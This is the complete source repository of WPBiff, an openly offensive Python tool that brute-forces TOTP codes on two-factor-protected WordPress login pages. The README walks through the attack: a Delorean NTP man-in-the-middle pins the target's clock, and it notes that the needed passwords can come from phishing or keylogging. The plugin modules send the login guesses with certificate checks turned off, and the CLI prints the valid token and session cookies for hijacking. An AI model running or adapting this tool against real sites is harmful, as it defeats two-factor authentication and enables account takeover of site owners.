├── .gitignore ├── .travis.yml ├── AUTHOR ├── CHANGELOG.md ├── CONTRIBUTING.md ├── LICENSE ├── MANIFEST.in ├── README.rst ├── requirements.txt ├── setup.cfg ├── setup.py ├── wpbiff.py └── wpbiff ├── __about__.py ├── __init__.py ├── cli.py ├── core ├── __init__.py ├── brutesession.py └── wpauthenticator.py └── plugins ├── __init__.py ├── ga.py └── wpga.py /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | 5 | # C extensions 6 | *.so 7 | 8 | .DS_Store 9 | ._.DS_Store 10 | 11 | # Distribution / packaging 12 | .Python 13 | env/ 14 | build/ 15 | develop-eggs/ 16 | dist/ 17 | downloads/ 18 | eggs/ 19 | .eggs/ 20 | #lib/ 21 | lib64/ 22 | parts/ 23 | sdist/ 24 | var/ 25 | *.egg-info/ 26 | .installed.cfg 27 | *.egg 28 | MANIFEST 29 | 30 | # PyInstaller 31 | # Usually these files are written by a python script from a template 32 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 33 | *.manifest 34 | *.spec 35 | 36 | # Installer logs 37 | pip-log.txt 38 | pip-delete-this-directory.txt 39 | 40 | # Unit test / coverage reports 41 | htmlcov/ 42 | .tox/ 43 | .coverage 44 | .coverage.* 45 | .cache 46 | nosetests.xml 47 | coverage.xml 48 | *,cover 49 | 50 | # Translations 51 | *.mo 52 | *.pot 53 | 54 | # Django stuff: 55 | *.log 56 | 57 | # Sphinx documentation 58 | docs/_build/ 59 | 60 | # PyBuilder 61 | target/ 62 | -------------------------------------------------------------------------------- /.travis.yml: -------------------------------------------------------------------------------- 1 | language: python 2 | 3 | python: 4 | - '2.7' 5 | 6 | install: pip install -r requirements.txt 7 | 8 | script: echo "OK" 9 | 10 | deploy: 11 | provider: pypi 12 | user: gszathmari 13 | password: 14 | secure: Oftd8v68q/eVb3gKEN/QILz1ZwLf0USscMLdUyeiKDk5Plzh5liRwt6Ik7hzJEimaf4X4RyMEvhhRkdl/KBS6s5n8vy4gGemq6+u7OmgK6bFP8P4V2L1MFY07d6fKEfUJfL8j5GR6+m+uSLqv3PTQ4Jt2vNtq534Bv2j4BysM8DN/y1fhYBQ8eS54hMehlvCCURj+gRlG9V2gtxOG6Zy6CTn5TibesLMN8HuN6W3NGcrNSx2VtSk12n4i7RCIE6JD4czezX5v27iAB+u/hSVCGcI9g3MuDXTgO6fgc0ocBuuCFVu3fBapcOW4qLedU5OOxMDQks0FlGlIEU0XP9+vnmCksmoXnHgdlypyLq320MHNYhxA0QLGL2E/RQf6vBWpJpT0Mh4c+5d2sLsbfm/LrKNtYcQua2V4TQmUxhs9weVWYhF/sYnVn0q6CalntQ4VZMSH6GvH4JEQU5bXBwZ5djOuaDhYsjq5pds6YFBpqxQHw4zYB1x6MoaeCKZgLuSfPdmnQ32ru1/TEadPSuUeDuu73HDtn6smZmAuX2H614AiRVw8EiIQ5UNPR7HK2/sH94boo8bnKfC7gv+CTZmSf9uOo6MeCH9/nMEkEpkmlyN63huhd86bJSPTvQiacBB2RYK4JSOD+tMeRdoGvv/I+ArVvHY8HEZc4MFNEz7IP8= 15 | distributions: sdist bdist_wheel 16 | on: 17 | tags: true 18 | -------------------------------------------------------------------------------- /AUTHOR: -------------------------------------------------------------------------------- 1 | Gabor Szathmari 2 | -------------------------------------------------------------------------------- /CHANGELOG.md: -------------------------------------------------------------------------------- 1 | 0.1.1 (2015-11-03) 2 | 3 | - Fixing module paths 4 | - Improving documentation 5 | 6 | 0.1.0 (2015-11-03) 7 | 8 | - Initial Beta release 9 | -------------------------------------------------------------------------------- /CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | # Contribute.md 2 | 3 | ## Team members 4 | 5 | - [Gabor Szathmari](http://gaborszathmari.me) - Main Developer 6 | 7 | ## Learn & listen 8 | 9 | This section includes ways to get started. 10 | 11 | * [README.rst](README.rst) 12 | * [Code Repository](https://github.com/gszathmari/wpbiff) 13 | 14 | ## Adding new features 15 | 16 | * New features are welcome. Just create a pull request and our team will review it 17 | 18 | * You should use the standard [Python style guide](http://docs.python-guide.org/en/latest/writing/style/) 19 | 20 | * Each new feature must go into a separate branch, and pull requests should be created against the `development` or `testing` branch 21 | 22 | # Bug triage 23 | 24 | * You can help report bugs by filing them on [Github](https://github.com/gszathmari/wpbiff/issues) 25 | 26 | * You can look through the existing bugs on [Github](https://github.com/gszathmari/wpbiff/issues) too 27 | 28 | * Look at existing bugs and help us understand if 29 | - The bug is reproducible? 30 | - What are the steps to reproduce? 31 | 32 | # Documentation 33 | 34 | This section includes any help you need with the documentation and where it can be found. Code needs explanation, and sometimes those who know the code well have trouble explaining it to someone just getting into it. 35 | 36 | * Comment your code 37 | 38 | # Community 39 | This section includes ideas on how non-developers can help with the project. Here's a few examples: 40 | 41 | * You can help managing the wiki [here](https://github.com/gszathmari/wpbiff/wiki) 42 | 43 | # Your first bugfix 44 | 45 | The bugfix should go into a separate branch like a new feature 46 | 47 | * Our team will take care of the documentation and/or the unit test in exchange for fixing a bug 48 | 49 | * If you have further questions, contact one of our team members 50 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2015 Gabor Szathmari 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | 23 | -------------------------------------------------------------------------------- /MANIFEST.in: -------------------------------------------------------------------------------- 1 | include CHANGELOG.md 2 | include README.rst 3 | include MANIFEST.in 4 | include LICENSE 5 | recursive-include wpbiff * 6 | -------------------------------------------------------------------------------- /README.rst: -------------------------------------------------------------------------------- 1 | ###### 2 | WPBiff 3 | ###### 4 | 5 | Wordpress Two-Factor Authentication Brute-forcer 6 | 7 | .. image:: https://img.shields.io/travis/gszathmari/wpbiff.svg 8 | :target: https://travis-ci.org/gszathmari/wpbiff 9 | :alt: Travis CI 10 | 11 | .. image:: https://img.shields.io/requires/github/gszathmari/wpbiff.svg 12 | :target: https://requires.io/github/gszathmari/wpbiff/requirements/?branch=master 13 | :alt: Requirements Status 14 | 15 | Features 16 | ======== 17 | 18 | This utility brute-forces two-factor protected Wordpress dashboards by iterating 19 | through every possible 6-digit Google Authenticator TOTP token. 20 | 21 | WPBiff is meant to be used together with Main-in-the-Middle based attacks against NTP. 22 | 23 | Supported Plugins 24 | ----------------- 25 | 26 | WPBiff is able to brute-force Wordpress login pages protected by the following 27 | two-factor authentication plugins: 28 | 29 | * `Google Authenticator`_ by Henrik Schack 30 | * `WP Google Authenticator`_ by Julien Liabeuf 31 | 32 | .. _Google Authenticator: https://wordpress.org/plugins/google-authenticator/ 33 | .. _WP Google Authenticator: https://wordpress.org/plugins/wp-google-authenticator/ 34 | 35 | Installing WPBiff 36 | ================= 37 | 38 | The latest package is available on `PyPI`_ :: 39 | 40 | $ pip install wpbiff 41 | 42 | .. _PyPI: https://pypi.python.org/pypi/wpbiff 43 | 44 | Requirements 45 | ------------ 46 | 47 | This utility runs on Python 2.6 and 2.7 48 | 49 | Usage Instructions 50 | ================== 51 | 52 | In order to carry out successful attack against a two-factor protected Wordpress 53 | blog, you must satisfy the following two pre-requisites. 54 | 55 | Pre-requisites 56 | -------------- 57 | 58 | The first requirement is that you must have the login username and password to 59 | the Wordpress dashboard on ``/wp-admin``. The credentials can be acquired by 60 | phishing, key logging or password reuse. 61 | 62 | Secondly, you must be able to control the internal clock of the target server. 63 | I recommend `Delorean`_ to fixate the server time to a certain point. You must 64 | fixate an arbitrary date with the ``-d`` flag with Delorean and use the 65 | very same time stamp with WPBiff in parallel. 66 | 67 | For more information on remote clock tampering, please refer to this `blog entry`_ 68 | 69 | .. _blog entry: https://blog.gaborszathmari.me/2015/11/11/bypassing-wordpress-login-pages-with-wpbiff/ 70 | .. _Delorean: https://github.com/PentesterES/Delorean 71 | 72 | Options 73 | ------- 74 | 75 | The following section explains the basic usage of WPBiff. You can also use 76 | the ``-h`` switch any time to get help. 77 | 78 | -d, --date DATE Pinned date (Format: "YYYY-MM-DD hh:mm") [required] 79 | -u, --username USER Wordpress username [required] 80 | -p, --password PASS Wordpress password [required] 81 | -a, --user-agent HTTP User-Agent header (default: Firefox) 82 | -t, --token TOKEN Initial value of token (default: 000000) 83 | -m, --max-token TOKEN Maximum token value (default: 999999) 84 | 85 | Use the ``--plugin`` switch to choose between the Wordpress plugin type providing 86 | two-factor authentication for the target. Choose ``ga`` for 87 | `Google Authenticator`_ and ``wpga`` for `WP Google Authenticator`_. 88 | 89 | .. _Google Authenticator: https://wordpress.org/plugins/google-authenticator/ 90 | .. _WP Google Authenticator: https://wordpress.org/plugins/wp-google-authenticator/ 91 | 92 | Examples 93 | -------- 94 | 95 | Assume NTP traffic can be intercepted between your target and the upstream NTP 96 | server. By tampering with this traffic, you can "pin" the target's clock to a 97 | certain time and date. 98 | 99 | Launch `Delorean`_ NTP server to serve a fixed time and date :: 100 | 101 | $ ./delorean.py -d "2015-10-30 11:22" 102 | 103 | .. _Delorean: https://github.com/PentesterES/Delorean 104 | 105 | Redirect NTP traffic from your target to the fake NTP server. 106 | 107 | Finally launch WPBiff as the following :: 108 | 109 | $ wpbiff -u admin -p admin -d "2015-10-30 11:22" --plugin ga "http://www.example.com" 110 | 111 | This session will brute force Wordpress on ``www.example.com`` with the login username 112 | ``admin`` and password ``admin``. 113 | 114 | Once the process finishes, WPBiff dumps the valid token and the session cookies 115 | for accessing the Wordpress dashboard. 116 | 117 | Speed 118 | ===== 119 | 120 | If the clock on the target Wordpress site reverts to the same time and date 121 | every minute (e.g. ntpdate runs minutely), three parallel instances of WBiff is 122 | capable to find the TOTP token in about an hour. 123 | 124 | Synthetic Test Results 125 | ---------------------- 126 | 127 | ========= ======== ======== ======== 128 | Test WPBiff 1 WPBiff 2 WPBiff 3 129 | ========= ======== ======== ======== 130 | Session 1 57m 141m n.a. 131 | Session 2 51m 46m n.a. 132 | Session 3 102m 83m n.a. 133 | ========= ======== ======== ======== 134 | 135 | Where **WPBiff 1**, **2** and **3** were covering different ranges within 136 | all possible combinations of 6-digit tokens :: 137 | 138 | ubuntu@wpbiff1:~$ wpbiff -t 000000 -m 333333 ... 139 | 140 | ubuntu@wpbiff2:~$ wpbiff -t 333334 -m 666666 ... 141 | 142 | ubuntu@wpbiff3:~$ wpbiff -t 666667 -m 999999 ... 143 | 144 | 145 | Links 146 | ===== 147 | 148 | * Blog entry with `detailed walkthrough`_ 149 | * `Source code on GitHub`_ 150 | * `Package on PyPI`_ 151 | 152 | .. _detailed walkthrough: https://blog.gaborszathmari.me/2015/11/11/bypassing-wordpress-login-pages-with-wpbiff/ 153 | .. _Source code on GitHub: https://github.com/gszathmari/wpbiff 154 | .. _Package on PyPI: https://pypi.python.org/pypi/wpbiff 155 | 156 | Contributors 157 | ============ 158 | 159 | * Gabor Szathmari - `@gszathmari`_ 160 | 161 | .. _@gszathmari: https://www.twitter.com/gszathmari 162 | 163 | Credits 164 | ======= 165 | 166 | * `Delorean`_: NTP Main-in-the-Middle tool 167 | 168 | .. _Delorean: https://github.com/PentesterES/Delorean 169 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | click==5.1 2 | colorama==0.3.3 3 | progressbar==2.3 4 | requests==2.8.1 5 | -------------------------------------------------------------------------------- /setup.cfg: -------------------------------------------------------------------------------- 1 | [bdist_wheel] 2 | universal=0 3 | -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | from setuptools import setup, find_packages 2 | from codecs import open 3 | from os import path 4 | 5 | here = path.abspath(path.dirname(__file__)) 6 | 7 | with open(path.join(here, 'README.rst'), encoding='utf-8') as f: 8 | long_description = f.read() 9 | 10 | setup( 11 | name="wpbiff", 12 | version="0.1.1", 13 | author="Gabor Szathmari", 14 | author_email="gszathmari@gmail.com", 15 | packages=find_packages(exclude=['contrib', 'docs', 'tests*']), 16 | include_package_data=True, 17 | url="https://github.com/gszathmari/wpbiff", 18 | license="MIT", 19 | platforms = ["Linux"], 20 | description="Wordpress Two-Factor Authentication Brute-forcer", 21 | long_description=long_description, 22 | entry_points=''' 23 | [console_scripts] 24 | wpbiff=wpbiff.cli:main 25 | ''', 26 | install_requires=[ 27 | "click", 28 | "colorama", 29 | "progressbar", 30 | "requests" 31 | ], 32 | classifiers=[ 33 | 'Development Status :: 4 - Beta', 34 | 'License :: OSI Approved :: MIT License', 35 | 'Topic :: Security', 36 | 'Intended Audience :: Other Audience', 37 | 'Programming Language :: Python :: 2 :: Only', 38 | 'Programming Language :: Python :: 2.6', 39 | 'Programming Language :: Python :: 2.7', 40 | ], 41 | keywords='security password', 42 | ) 43 | -------------------------------------------------------------------------------- /wpbiff.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | import sys 4 | import os 5 | from wpbiff import cli 6 | 7 | package_folder = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) 8 | sys.path.insert(0, package_folder) 9 | 10 | if __name__ == '__main__': 11 | sys.exit(cli.main()) 12 | -------------------------------------------------------------------------------- /wpbiff/__about__.py: -------------------------------------------------------------------------------- 1 | __description__ = 'Wordpress Two-Factor Authentication Brute-forcer' 2 | __title__ = 'WPBiff' 3 | __version_info__ = ('0', '1', '1') 4 | __version__ = '.'.join(__version_info__) 5 | __author__ = 'Gabor Szathmari' 6 | __credits__ = ['Gabor Szathmari'] 7 | __maintainer__ = 'Gabor Szathmari' 8 | __email__ = 'gszathmari@gmail.com' 9 | __status__ = 'beta' 10 | __license__ = 'MIT' 11 | __copyright__ = 'Copyright (c) 2015 Gabor Szathmari' 12 | __website__ = 'http://github.com/gszathmari/wpbiff' 13 | -------------------------------------------------------------------------------- /wpbiff/__init__.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | __all__ = ['cli', ] 4 | 5 | from cli import main 6 | -------------------------------------------------------------------------------- /wpbiff/cli.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | import click 4 | import sys 5 | 6 | from __about__ import __version__, __author__, __description__, __copyright__, __website__ 7 | from colorama import Fore, Back, Style, init 8 | from core.brutesession import BruteSession 9 | 10 | def banner(): 11 | """ 12 | Generates fancy banner 13 | """ 14 | logo = """\n██╗ ██╗██████╗ ██████╗ ██╗███████╗███████╗ 15 | ██║ ██║██╔══██╗██╔══██╗██║██╔════╝██╔════╝ 16 | ██║ █╗ ██║██████╔╝██████╔╝██║█████╗ █████╗ 17 | ██║███╗██║██╔═══╝ ██╔══██╗██║██╔══╝ ██╔══╝ 18 | ╚███╔███╔╝██║ ██████╔╝██║██║ ██║ 19 | ╚══╝╚══╝ ╚═╝ ╚═════╝ ╚═╝╚═╝ ╚═╝ """ 20 | print(Style.DIM + logo) 21 | print(Style.BRIGHT + "\nWPBiff {0} {1}".format(__version__, __description__)) 22 | print(Fore.BLUE + "{0}\n".format(__copyright__)) 23 | 24 | def supported_python_version(): 25 | """ 26 | Verifies Python version 27 | """ 28 | python_version = sys.version.split()[0] 29 | if python_version >= "3" or python_version < "2.6": 30 | return False 31 | else: 32 | return True 33 | 34 | def controller(args): 35 | """ 36 | \b 37 | WPBiff 38 | ====== 39 | 40 | This utility brute-forces Wordpress wp-admin login pages by iterating 41 | through every possible 6-digit Google Authenticator TOTP token. 42 | 43 | \b 44 | Pre-requisites: 45 | --------------- 46 | 1. You must be able to manipulate the server time (e.g. NTP MitM with Delorean) 47 | 2. You must know the Wordpress login username and password 48 | 49 | More info: https://github.com/gszathmari/wpbiff/blob/master/README.rst 50 | """ 51 | result = None 52 | banner() 53 | 54 | if args.get('user_agent') is None: 55 | args['user_agent'] = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1" 56 | 57 | brute = BruteSession( 58 | args.get('date'), 59 | args.get('url'), 60 | args.get('username'), 61 | args.get('password'), 62 | args.get('token'), 63 | args.get('max_token'), 64 | args.get('user_agent'), 65 | args.get('plugin') 66 | ) 67 | 68 | try: 69 | result = brute.run() 70 | # Handle if user presses CTRL + C 71 | except KeyboardInterrupt: 72 | print("\nUser interrupt") 73 | sys.exit(2) 74 | 75 | if result: 76 | fireworks = """\n . 77 | .* *. `o`o` 78 | *. .* o`o`o`o ^,^,^ 79 | * \ `o`o` ^,^,^,^,^ 80 | \ *** | ^,^,^,^,^ 81 | \ ***** | /^,^,^ 82 | \ *** | / 83 | ~@~*~@~ \ \ | / 84 | ~*~@~*~@~*~ \ \ | / 85 | ~*~@smd@~*~ \ \ | / #$#$# .`'.;. 86 | ~*~@~*~@~*~ \ \ | / #$#$#$# 00 .`,.', 87 | ~@~*~@~ \ \ \ | / /#$#$# /||| `.,' 88 | _____________\________\___\____|_/______/_________|\/\___||______\n""" 89 | print(Fore.GREEN + fireworks) 90 | print(Style.BRIGHT + "Great Success!\n") 91 | print("Token") 92 | print("-----") 93 | print(Back.MAGENTA + result['token']) 94 | print("\nWordpress Session Cookies") 95 | print("-------------------------") 96 | for k, v in result['cookies'].iteritems(): 97 | cookie = Fore.MAGENTA + "{0}".format(k) + Fore.BLUE + " => " + Fore.MAGENTA + "{0}".format(v) 98 | print(cookie) 99 | print(Style.DIM + "\nNote: Depending on the Wordpress plugin, you might not be") 100 | print(Style.DIM + "able to reuse the token above. In this case try session") 101 | print(Style.DIM + "hijacking with the session cookies provided above") 102 | else: 103 | print(Fore.MAGENTA + "\n\nNo valid token has been found :(") 104 | 105 | CONTEXT_SETTINGS = dict(help_option_names=['-h', '--help']) 106 | 107 | @click.command(context_settings=CONTEXT_SETTINGS) 108 | @click.option('-d', '--date', required=True, help='Pinned date (Format: "YYYY-MM-DD hh:mm")', metavar='DATE') 109 | @click.option('-u', '--username', required=True, help='Wordpress username', metavar='USER') 110 | @click.option('-p', '--password', required=True, prompt=True, hide_input=True, confirmation_prompt=True, help='Wordpress password', metavar='PASS') 111 | @click.option('--plugin', type=click.Choice(['ga', 'wpga']), required=True, help='Wordpress two-factor auth plugin type: Google Authenticator (ga), WP Google Authenticator (wpga)') 112 | @click.option('-a', '--user-agent', help='HTTP User-Agent header (default: Firefox)', metavar='') 113 | @click.option('-t', '--token', default=0, help='Initial value of token (default: 000000)', type=click.IntRange(0, 999999), metavar='TOKEN') 114 | @click.option('-m', '--max-token', default=999999, help='Maximum token value (default: 999999)', type=click.IntRange(0, 999999), metavar='TOKEN') 115 | @click.argument('url', nargs=1, required=True) 116 | def main(*args, **kwargs): 117 | """ Main program entry point """ 118 | if supported_python_version() is False: 119 | print("Error: This utility only supports Python 2.6.x and 2.7.x") 120 | sys.exit(2) 121 | # Initialize colorama 122 | init(autoreset=True) 123 | controller(kwargs) 124 | -------------------------------------------------------------------------------- /wpbiff/core/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gszathmari/wpbiff/8089fb18181efeea17cf783eeb54915d9cd3c767/wpbiff/core/__init__.py -------------------------------------------------------------------------------- /wpbiff/core/brutesession.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | import requests 4 | import time 5 | 6 | from email.utils import parsedate 7 | from datetime import datetime, timedelta 8 | from progressbar import ProgressBar, Percentage, Bar, FormatLabel, Timer 9 | from wpbiff.core.wpauthenticator import WPLogin 10 | 11 | class BruteSession: 12 | def __init__(self, pinned_time, url, username, password, token, max_token, user_agent, plugin): 13 | # This is the pinned time where we brute force the login token 14 | self.pinned_time = datetime.strptime(pinned_time, '%Y-%m-%d %H:%M') 15 | # Stores Wordpress URL 16 | self.url = url 17 | # Stores object that does the authentication to Wordpress 18 | wp_factory = WPLogin(url, username, password, user_agent) 19 | self.wp_login = wp_factory.make(plugin) 20 | # Stores current value of login token 21 | self.token = token 22 | # Stores User-Agent value for the requests library 23 | self.user_agent = user_agent 24 | # Maximum value of 6 digit login token 25 | self.max_token = max_token 26 | # Progress bar 27 | widgets = [FormatLabel('Token: %(value)d (to %(max)d)'), Percentage(), Bar(), ' ', Timer()] 28 | self.pbar = ProgressBar(widgets=widgets, maxval=max_token).start() 29 | 30 | def get_server_time(self): 31 | """ 32 | Gets remote server time using HTTP 33 | """ 34 | headers = { 35 | 'User-Agent': self.user_agent 36 | } 37 | # Sometimes HEAD requests fail so we try multiple times 38 | for attempt in range(10): 39 | try: 40 | r = requests.head(self.url, headers=headers) 41 | except requests.exceptions.ConnectionError: 42 | time.sleep(3) 43 | else: 44 | break 45 | if r.status_code == 200: 46 | t = parsedate(r.headers['Date']) 47 | return datetime.fromtimestamp(time.mktime(t)) 48 | else: 49 | raise Exception('Remote server did not respond. Is it down?') 50 | 51 | def brute_login(self, delay): 52 | """ 53 | Launches brute-forcing attempts 54 | """ 55 | brute_launch_time = datetime.now() 56 | for token in xrange(self.token, self.max_token + 1): 57 | # Save actual value of token 58 | self.token = token 59 | self.pbar.update(token) 60 | # Calculate how long we do the brute forcing attempts 61 | elapsed = datetime.now() - brute_launch_time 62 | # Launch HTTP requests if we are still within the ~30 second window 63 | if elapsed < timedelta(seconds=30) - delay: 64 | # Launch HTTP request with token code, return immediately if attampt is successful 65 | result = self.wp_login.auth(token) 66 | if result: 67 | return result 68 | else: 69 | return False 70 | 71 | def run(self): 72 | """ 73 | Monitors remote server for pinned time and launches brute forcing 74 | """ 75 | while self.token < self.max_token: 76 | # Calculate difference between pinned time and server time 77 | delta_time = abs(self.get_server_time() - self.pinned_time) 78 | if delta_time < timedelta(seconds=30): 79 | # Server time has been modified, launching attack 80 | result = self.brute_login(delta_time) 81 | # Save result and break from loop if token is found 82 | if result: 83 | self.pbar.finish() 84 | return result 85 | else: 86 | # If server time has not turned back, sleep for a while and try again 87 | time.sleep(1) 88 | -------------------------------------------------------------------------------- /wpbiff/core/wpauthenticator.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | from wpbiff.plugins.ga import GoogleAuthenticator 4 | from wpbiff.plugins.wpga import WPGoogleAuthenticator 5 | 6 | class WPLogin: 7 | def __init__(self, url, username, password, user_agent): 8 | """ 9 | This factory detects the remote Wordpress two-factor plugin type 10 | and returns the appropriate class 11 | """ 12 | self.url = url 13 | self.username = username 14 | self.password = password 15 | self.user_agent = user_agent 16 | 17 | def make(self, plugin): 18 | """ 19 | This method returns the appropriate module class 20 | """ 21 | if plugin == "ga": 22 | return GoogleAuthenticator(self.url, self.username, self.password, self.user_agent) 23 | elif plugin == "wpga": 24 | return WPGoogleAuthenticator(self.url, self.username, self.password, self.user_agent) 25 | -------------------------------------------------------------------------------- /wpbiff/plugins/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gszathmari/wpbiff/8089fb18181efeea17cf783eeb54915d9cd3c767/wpbiff/plugins/__init__.py -------------------------------------------------------------------------------- /wpbiff/plugins/ga.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | import requests 4 | 5 | class GoogleAuthenticator: 6 | def __init__(self, url, username, password, user_agent): 7 | """ 8 | This module brute-forces the following Wordpress plugin: 9 | 10 | Google Authenticator 0.47 by Henrik Schack 11 | https://wordpress.org/plugins/google-authenticator/ 12 | """ 13 | self.url = url + '/wp-login.php' 14 | self.username = username 15 | self.password = password 16 | self.user_agent = user_agent 17 | 18 | def auth(self, token): 19 | """ 20 | Tries to authenticate with a HTTP POST request and 21 | evaluates its result. 22 | """ 23 | token_string = str(token).zfill(6) 24 | headers = { 25 | 'User-Agent': self.user_agent 26 | } 27 | postdata = { 28 | 'log': self.username, 29 | 'pwd': self.password, 30 | 'googleotp': token_string, 31 | 'rememberme': 'forever' 32 | } 33 | r = requests.post(self.url, headers=headers, data=postdata, allow_redirects=False, verify=False) 34 | if r.status_code == 200: 35 | return False 36 | elif r.status_code == 302: 37 | result = { 38 | 'token': token_string, 39 | 'cookies': r.cookies.get_dict() 40 | } 41 | return result 42 | else: 43 | raise Exception('Ouch! Remote server error') 44 | -------------------------------------------------------------------------------- /wpbiff/plugins/wpga.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | import requests 4 | 5 | class WPGoogleAuthenticator: 6 | def __init__(self, url, username, password, user_agent): 7 | """ 8 | This module brute-forces the following Wordpress plugin: 9 | 10 | WP Google Authenticator 1.1.0 by Julien Liabeuf 11 | https://wordpress.org/plugins/wp-google-authenticator/ 12 | """ 13 | self.url = url + '/wp-login.php' 14 | self.username = username 15 | self.password = password 16 | self.user_agent = user_agent 17 | 18 | def auth(self, token): 19 | """ 20 | Tries to authenticate with a HTTP POST request and 21 | evaluates its result. 22 | """ 23 | token_string = str(token).zfill(6) 24 | headers = { 25 | 'User-Agent': self.user_agent 26 | } 27 | postdata = { 28 | 'log': self.username, 29 | 'pwd': self.password, 30 | 'totp': token_string, 31 | 'rememberme': 'forever' 32 | } 33 | r = requests.post(self.url, headers=headers, data=postdata, allow_redirects=False, verify=False) 34 | if r.status_code == 200: 35 | return False 36 | elif r.status_code == 302: 37 | result = { 38 | 'token': token_string, 39 | 'cookies': r.cookies.get_dict() 40 | } 41 | return result 42 | else: 43 | raise Exception('Ouch! Remote server error') 44 | --------------------------------------------------------------------------------